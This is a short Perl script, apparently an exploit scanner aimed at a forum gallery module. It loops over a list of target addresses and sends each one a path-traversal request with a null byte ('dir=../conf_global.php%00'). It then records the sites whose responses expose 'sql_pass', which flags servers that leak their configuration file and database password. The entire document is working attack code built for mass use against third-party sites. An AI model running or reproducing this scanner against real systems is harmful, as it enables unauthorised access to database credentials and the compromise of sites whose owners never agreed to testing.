#!perl
use LWP;
$bug = "?act=module&module=gallery&cmd=viewimage&img=index.gif&file_type=text/plain&dir=../conf_global.php%00";
open (LIST, "$ARGV[0]") or die;
open (GOOD, ">$ARGV[1]") or die;
@mas = <LIST>;
print "Parsing...\n";
while (@mas) {
     chomp($adr = shift @mas);
     $url = "$adr"."$bug";
     $con = LWP::UserAgent->new;
     $req = HTTP::Request->new(GET => $url);
     $resp = $con->request($req);
     $src = $resp->content;
     print GOOD "$url\n" if ($src =~ /sql_pass/ or $src =~ /function.readfile/);
}
print "Done!\n";